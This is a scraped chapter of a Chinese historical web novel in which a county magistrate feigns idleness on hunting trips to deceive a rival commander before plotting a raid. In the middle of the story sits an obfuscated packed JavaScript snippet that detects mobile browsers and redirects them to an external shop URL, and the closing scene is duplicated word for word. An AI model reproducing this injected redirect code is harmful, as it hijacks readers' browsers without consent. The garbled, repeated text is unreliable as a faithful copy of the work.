第193章 春狩巡野

作品:《前秦:从太学生到乱世枭雄

    正月下旬,新安县衙后堂炭火正旺。


    王曜裹着一件青锦绣金狮纹的狐腋裘,斜倚在紫檀木凭几上,手中把玩着一枚温润的玉韘。


    案几上散乱堆着几卷《氾胜之书》与《笑林》,书页间夹着些草茎标本,看似在研读农事或者看笑话,实则目光常飘向窗外校场方向。


    吴质与孙宏垂手立在堂下,正在禀报春耕事宜。


    “县君,今岁县中需补种宿麦的田地约三百顷,按往年例,当征发民夫八百,畜力百二十头。”


    吴质声音平稳:“然去岁秋收不丰,民户多存粮不足,若此时大举征发,恐生怨怼。”


    王曜将玉韘套在拇指上,对着光端详,漫不经心道:


    “那便少征些,五六百人总够了吧?至于畜力……让各里摊派便是,这等小事,你们看着办就好。”


    孙宏赔笑道:“县君体恤民情,实乃新安之福,只是若征发不足,误了农时……”


    “误便误了。”


    王曜打断他,将玉韘摘下丢在案上,发出清脆声响。


    “本官来此是为牧民,不是来逼民**的,前几日本官翻阅旧卷,见冯县令任上便有民夫聚众抗役之事,难道你们想本官也步其后尘?”


    吴质忙道:“下官不敢!县君思虑周全,那便按县君的意思,减至六百人,畜力八十头。只是如此一来,春耕进度怕要延误半月……”


    “延误便延误。”


    王曜打了个哈欠,揉揉额角。


    “这几日本官夜里总睡不安稳,总觉得窗外有人窥视。秋晴说是我多心了,可前两任县令的下场……唉,你们说,若是匪贼真打进城来,咱们这些兵能顶得住么?”


    他这话问得突兀,孙宏与吴质对视一眼。


    吴质温声道:“县君多虑了,县城有城墙护卫,县兵三百虽非精锐,守城尚可。再加上县君带来的一百精锐和北郊翟中郎的两千丁零兵,匪贼纵有野心,也断不敢轻犯。”


    “翟中郎……”


    王曜咀嚼着这三个字,忽而笑了。


    “说来本官上任半月,还未曾拜会这位翟中郎。他既是卫军从事中郎,官秩略高于我,理当我去拜见才是。”


    孙宏眼珠一转:“翟中郎军务繁忙,时常巡防各处坞堡、村寨。县君若想相见,不如待


    他回营时,下官代为递帖?”


    “不必了。”


    王曜摆手,重新拿起那枚玉韘把玩。


    “他既忙,本官也不便叨扰。倒是你们,近日营中操练如何?秋晴回来总说那些兵卒笨拙,骑马射箭没一个像样的。”


    这话带着三分埋怨七分随意,吴质心中微动。


    他前日才得营中眼线回报,说**秋晴近日操练越发严苛,尤其着重骑术。


    三百县兵中已择出精壮两百,每日除常规操练外,更增驰骋冲阵之训。


    那些长安带来的老兵充作教头,县兵虽叫苦不迭,骑术确肉眼可见地长进。


    这些事,王曜知道多少?


    吴质偷眼看去,见王曜正百无聊赖地用玉韘敲击案沿,一副纨绔子弟不耐政务的模样,心中稍定。


    或许这位县君真是怕死,想练出一支能护他逃命的亲兵罢了。


    “**统领治军严谨,营中气象确与往日不同。”


    吴质斟酌词句:“只是……骑兵耗费甚巨,草料、豆秣日耗数十石,长此以往,县库恐难支撑。”


    王曜“啧”了一声:


    “又来了,整日钱粮钱粮。本官不是说了么,不够便从别处省,再不行……让城中富户捐些。总之这兵必须练,本官可不想哪日醒来,刀架在脖子上!”


    他说得声色俱厉,孙宏忙躬身称是。


    待二人退出后堂,王曜脸上那副焦躁神色渐渐褪去。


    他起身走到窗边,推开一道缝隙。


    寒风灌入,带着远处校场隐约传来的呼喝声。


    从这个角度,能看见**秋晴那匹乌骓马在校场东侧往复奔驰,马背上那道黛青身影挺拔如松。


    “密与速……”


    王曜低声自语。


    阳平公年初教诲,他一日不敢忘。


    如今网已撒下,饵已布妥,只待鱼儿放松警惕。


    二月二日,龙抬头。


    辰时初刻,新安县城西门缓缓开启。


    王曜今日未着官服,换了一身绯色团窠联珠对鹿纹锦缎缺胯袍,外罩玄色狐裘大氅,腰间蹀躞带上悬着银鱼袋、玉韘囊,并一柄装饰华美的错金环首短刀。


    头上未戴冠帻,只以金环束


    发,额前缀着一枚火焰状金饰,那是**秋晴前日所赠,说是辟邪之用。


    他胯下是一匹通体雪白的河西骏马,马鞍鞯辔皆以黑漆为底,描金绘彩,极尽奢华。


    身后百余骑列队。当先三十人俱是**秋晴从长安带来的禁军老卒,虽作寻常护卫打扮,然甲胄内衬、弓刀制式皆透着一股肃杀之气。


    其后七十骑乃新近操练的县兵精壮,骑术虽仍生疏,队列倒也齐整。


    **秋晴与李虎一左一右护在王曜身侧。


    **秋晴今日难得未着胡服,换了一身青碧色交领窄袖襦裙,外罩半臂,长发绾成高髻,以银簪玉钗固定,额前缀着与王曜同式的火焰金饰。


    她未施粉黛,眉眼间那股凛冽之气却被这身女子装扮衬得柔和几分,只是腰间那柄乌沉沉的环首刀,依旧昭示着这不是寻常闺秀。


    李虎则是一身赭色戎服,外罩皮甲,连鬓短须修剪齐整,虎目圆睁扫视四周。


    他胯下黄骠马不停打着响鼻,马蹄焦躁地刨着地面泥土。


    “子卿,可以出发了。”**秋晴轻声道。


    王曜颔首,正要挥鞭,忽闻西门内蹄声如雷。


    三十余骑旋风般驰出,当先三骑俱是甲胄鲜明。


    正中一骑上坐着个六旬老者,面容清瘦,颧骨高耸,一双细长眼睛微微眯着,灰白须髯修剪整齐。


    他头戴武冠,冠前插鹖羽,身着玄漆两裆铠,外罩绛色战袍,腰悬长刀。


    虽年事已高,然挺坐马背的身形如松似柏,正是卫军从事中郎翟斌。


    左侧一骑是个五十上下的壮汉,面庞赤红,浓眉环眼,下颌短须如钢针倒竖。


    他未戴盔,只以葛巾束发,身上穿着半旧皮甲,外罩一件褪色的猩红战袍,腰间悬着两柄厚背短戟。


    此人正是翟斌胞弟翟敏,此刻正乜斜着眼打量王曜一行人,嘴角挂着一丝毫不掩饰的讥诮。


    右侧一骑年约四十许,面容沉静,三缕长须垂至胸前。


    他头戴平巾帻,身着青灰色裋褐,外罩皮甲,腰悬环首刀,举止间比翟敏沉稳许多。正是翟斌侄儿翟真。


    “王县君!”


    翟斌在马上抱拳,声音洪亮如钟。


    “老夫军务缠身,一直未得暇拜会县君,失礼失礼!今日闻县君欲下乡巡狩,特


    来作陪,还望县君莫嫌老夫唐突。”


    王曜脸上立刻堆起受宠若惊的笑容,在马上欠身还礼:


    “中郎折煞王曜了!曜初来乍到,早该亲至营中拜见,怎敢劳中郎亲来相陪?实在是惶恐之至!”


    他这番作态恭敬中带着几分谄媚,翟斌眼中掠过一丝不易察觉的轻蔑,面上却笑容愈盛:


    “诶,县君说哪里话。县君乃王丞相之后,天子门生,能来新安这穷僻之地,已是本县之幸。老夫忝居武职,护境安民乃分内之事,日后若有效劳之处,县君尽管开口!”


    说罢,他目光扫过王曜身后那百余骑,尤其在**秋晴身上停留一瞬,笑道:


    “这位便是**统领吧?果然是虎父无犬女,**将军好福气啊!”


    **秋晴在马上微微颔首:


    “中郎过誉。”


    态度冷淡,却合礼数。


    翟敏在一旁瓮声瓮气开口:


    “王县君这身行头倒是鲜亮,比咱们这些粗人强多了!今日要去何处巡狩?这新安地界山多路险,县君可莫要跑丢了!”


    这话说得无礼,翟斌却只作未闻。


    王曜笑容不变,甚至带着几分腼腆:


    “这位将军说笑了,曜在长安时便好游猎,来此见山川壮阔,一时技痒。今日打算往西去重坊集一带,听说那边有野鹿出没……”


    他搓着手,一副跃跃欲试的纨绔模样。


    翟真此时温声接话:


    “末将翟真,重坊集距县城二十余里,沿途多丘陵沟壑,确是好猎场。只是道路崎岖,县君初来,不如让末将引路?”


    “那便有劳翟将军了!”


    王曜大喜,随即又略显迟疑。


    “只是……本官随行人员众多,会不会扰了中郎军务?”


    翟斌哈哈大笑:


    “无妨无妨!老夫今日恰得闲暇,便陪县君走一遭。说起来,我那不成器的孙儿翟辽,与县君似是太学同窗呢?”


    王曜心中一动,面上却露出惊喜神色:


    “原来中郎竟是是翟兄长辈!失敬失敬!在下与翟兄确在太学有过数面之缘,翟兄胆略过人,曜一直钦佩得很。”


    他绝口不提东郊官道和崇贤馆那些冲突,只作寻常同窗之情。


    翟斌捻须笑道:“那小子如今在洛阳平原公麾下当差,前日还来信说,若知县君到此,定要托老夫好生照应。今日得见,县君果然一表人才,难怪能得太学魁首。”


    两人又寒暄几句,队伍终于开拔。


    王曜一马当先,白马上那袭绯衣在晨光中格外扎眼。


    他时而纵马疾驰,时而驻马观景,见到道旁野兔雉鸡便大呼小叫,命随从射猎。


    射术倒也尚可,十箭能中三四,每有所获便抚掌大笑,全然一副世家子弟出游作乐的模样。


    翟斌与翟真一左一右相陪,翟斌偶尔指点地形,说些此地风物故事;


    翟真则沉默居多,只在不远处静静跟随。


    翟敏落在队尾,与几个丁零兵将领并辔而行,不时低声嗤笑。


    “瞧那小子,穿得跟个锦鸡似的,跑起来恨不得让全天下都知道他来了。”


    一个丁零幢主凑趣道:


    “听说小子在长安便是出了名的纨绔,被家族发配到此,还这般张扬,也不怕……”


    “怕什么?”


    翟敏乜斜着眼:“有咱们两千儿郎在,匪贼敢来?就算来了,这等绣花枕头,怕是一个照面就得尿裤子!”众人一阵低笑。


    前方,王曜正驻马在一处高坡上,指着远处一片谷地道:


    “那处地势平缓,草木丰茂,定有鹿群!秋晴,你带人去那边驱赶,虎子,你领人在这边设伏!”


    **秋晴应声而去,李虎也招呼县兵散开布阵。


    翟斌捋须看着,忽然道:


    “县君这般布围,倒合兵法,可是读过兵书?”


    王曜赧然一笑:“不瞒中郎,家父……在世时曾留下些兵书札记,王曜闲来翻看,只当消遣,今日班门弄斧,让中郎见笑了。”


    他提及王猛时,语气黯然一瞬,随即又强作欢颜。


    翟斌目光微动,叹道:


    “王丞相天纵奇才,可惜英年早逝。县君既有家学,何不从军报国?在这县衙之中,未免屈才喽。”


    “中郎说笑了。”


    王曜摇头,笑容苦涩。


    “王曜这点微末本事,哪敢妄谈报国?能在任上安民守土,不至辱没先人名声,便已知足了。”


    他这话说得卑微,翟斌眼中轻视又


    添三分,面上却宽慰道:


    “县君过谦了,也罢,今日不谈政务,只管行猎!”


    说话间,谷中忽起骚动。


    但见十数头野鹿受惊奔出,**秋晴率三十余骑在后驱赶。


    鹿群惶惶奔至坡前,李虎一声呼喝,伏兵齐出,箭矢如雨。


    王曜也张弓搭箭,一箭射中一头雄鹿后腿。


    那鹿负痛狂奔,他纵马急追,绯衣在风中猎猎飞扬。


    追出百余步,再发一箭,正中鹿颈。


    “好!”


    翟斌在远处抚掌。


    王曜勒住马,喘着气回头,脸上满是兴奋红晕。


    随从上前将鹿拖回,他跳下马,亲手拔出箭矢,抚摸着鹿角叹道:


    “可惜了这身好皮**。”


    又抬头对翟斌笑道:


    “今夜回城,请中郎务必赏光,尝尝这鹿肉炙烤的滋味!”


    翟斌大笑应允。


    这一日,王曜纵马游猎,直至酉时方归。


    收获野鹿八头、麂子五只、雉鸡野


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990393|191718||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    兔无数。


    回城途中,他兴致勃勃与翟斌讨论炙烤之法,说长安时如何以橘皮、茱萸、胡麻调味,西域商胡又用什么香料,滔滔不绝,全然不提半句县务。


    至西门分别时,翟斌拱手道:


    “县君年少风流,老夫今日也跟着沾了光,日后若再巡狩,只管知会一声!”


    “一定一定!”


    王曜在马上欠身,目送翟斌率丁零兵往北郊大营奔去。


    待那队人马消失在暮色中,他脸上笑容渐渐淡去。


    **秋晴策马靠近,低声道:


    “翟敏那厮一路上与下属议论,言语多有不敬。”


    “由他去。”


    王曜望着北郊方向,眸色深沉。


    “翟斌老儿老奸巨猾,今日亲自相陪,是为探我虚实。翟真沉稳,一路不多言,却在细观我军阵。至于翟敏……莽夫而已,不足为虑。”


    李虎哼道:“那老儿看曜哥儿你的眼神,就跟看个笑话似的!”


    “我要的便是他这般看。”


    王曜抖缰催马,缓步入城。


    “传令耿毅、郭邈、郭通,明日加


    紧操练。告诉李晟,要他也加紧操练庄丁,随时听候指示。”


    “是。”


    **秋晴应下,顿了顿,又道:


    “你今日射鹿那两箭,力道角度皆控制得极好,既显本事,又不至太过。”


    王曜侧目看她,忽而一笑:


    “你也学会奉承人了?”


    “我说实话。”


    **秋晴别过脸去,耳根微不可察地泛红。


    此后每隔十日,王曜必率百骑出城“巡狩”,翟斌也都亲自作陪,但如此三次之后,翟斌已然确定王曜就是彻彻底底的膏粱子弟,实在难以再翻起什么浪花,并觉得吴质、孙宏当真夸大其词、杞人忧天。


    于是在第四次去城南山麓时,翟斌仅遣翟真率二十骑相陪。


    王曜依旧纵情游猎,途中“偶遇”几户山民,还下马询问春耕之事,赏了些钱帛,做足了体恤民情的姿态。


    第五次往城北河谷,翟斌则更是只派了个幢主带十骑跟随。


    王曜此次收获颇丰,射得一头豹子,回城后大摆宴席,将豹皮赠予翟斌,豹骨分送吴质、孙宏等人,言笑晏晏,俨然已与新安上下打成一片。


    至四月清明前后,王曜第七次出巡时,翟斌那边已不再派人相陪。


    吴质与孙宏也早**以为常。


    在他们眼中,这位王县君无非是个贪图享乐的公子哥儿,整日飞鹰走马、宴饮游猎,县务多委于僚属。


    虽偶尔过问刑名钱谷,也是浅尝辄止。


    至于营中操练,练便练吧,总比真去剿匪送死强。


    四月十五,谷雨。


    这日王曜未出城,只在县衙后园设宴,邀吴质、孙宏及县中几位乡绅赏春。


    园中梨花如雪,桃杏争艳。


    茵席铺在青石板上,食案陈列时鲜:


    嫩笋炙鹿、菰米饭、腌荠菜、豆腐羹,并有新酿的醴酒。


    蘅娘在一旁抚琴,琴声淙淙如流水。


    王曜半倚凭几,举杯笑道:


    “今日谷雨,百谷生发,愿我新安今岁风调雨顺,仓廪丰实!”众人皆举杯应和。


    酒过三巡,王曜多日不见翟斌身影,不禁向身旁的孙宏问翟中郎是不是生病了?


    孙宏


    凑近低声道:“县君,四日前北郊大营便传来消息,说是翟中郎近日已往洛阳述职,约莫需半月方归。”


    王曜手中酒杯微微一顿,随即若无其事笑道:


    “哦?中郎勤于王事,令人敬佩。他既不在,营中事务……”


    “由翟敏暂代。”


    吴质接口,语气平淡:


    “翟真将军同往洛阳。”


    王曜点头,不再多问,转而说起洛阳牡丹盛景,说河东龙门春色,席间又是一片欢声。


    宴至申时方散。


    王曜微醺,由蘅娘搀着回后堂。


    一**内,他眼中醉意顷刻消散。


    “更衣。”


    他褪去华服,换上那身靛蓝直?棉袍,然后屏退蘅娘,对悄然入内的**秋晴道:


    “翟斌离营,此天赐良机,耿毅那边如何?”


    “两百县兵已堪驰骋,虽不及老兵,但短途奔袭当无大碍。”


    **秋晴语速略快,眼中闪着锐光。


    “昨日李晟密报,硖石堡那二匪首段延后天要庆生,他觉得时机已到,问我们这边准备如何。”


    王曜走到案前,展开一幅手绘的山川地形图,那是他这三月来借巡狩之名,暗中勘测绘成。


    手指点在硖石堡东南侧一处山坳。


    “此处名松子沟,至硖石堡仅有二十里,我当立即修书,告诉李晟可如此如此……”


    凑近低声道:“县君,四日前北郊大营便传来消息,说是翟中郎近日已往洛阳述职,约莫需半月方归。”


    王曜手中酒杯微微一顿,随即若无其事笑道:


    “哦?中郎勤于王事,令人敬佩。他既不在,营中事务……”


    “由翟敏暂代。”


    吴质接口,语气平淡:


    “翟真将军同往洛阳。”


    王曜点头,不再多问,转而说起洛阳牡丹盛景,说河东龙门春色,席间又是一片欢声。


    宴至申时方散。


    王曜微醺,由蘅娘搀着回后堂。


    一**内,他眼中醉意顷刻消散。


    “更衣。”


    他褪去华服,换上那身靛蓝直?棉袍,然后屏退蘅娘,对悄然入内的**秋晴道:


    “翟斌离营,此天赐良机,耿毅那边如何?”


    “两百县兵已堪驰骋,虽不及老兵,但短途奔袭当无大碍。”


    **秋晴语速略快,眼中闪着锐光。


    “昨日李晟密报,硖石堡那二匪首段延后天要庆生,他觉得时机已到,问我们这边准备如何。”


    王曜走到案前,展开一幅手绘的山川地形图,那是他这三月来借巡狩之名,暗中勘测绘成。


    手指点在硖石堡东南侧一处山坳。


    “此处名松子沟,至硖石堡仅有二十里,我当立即修书,告诉李晟可如此如此……”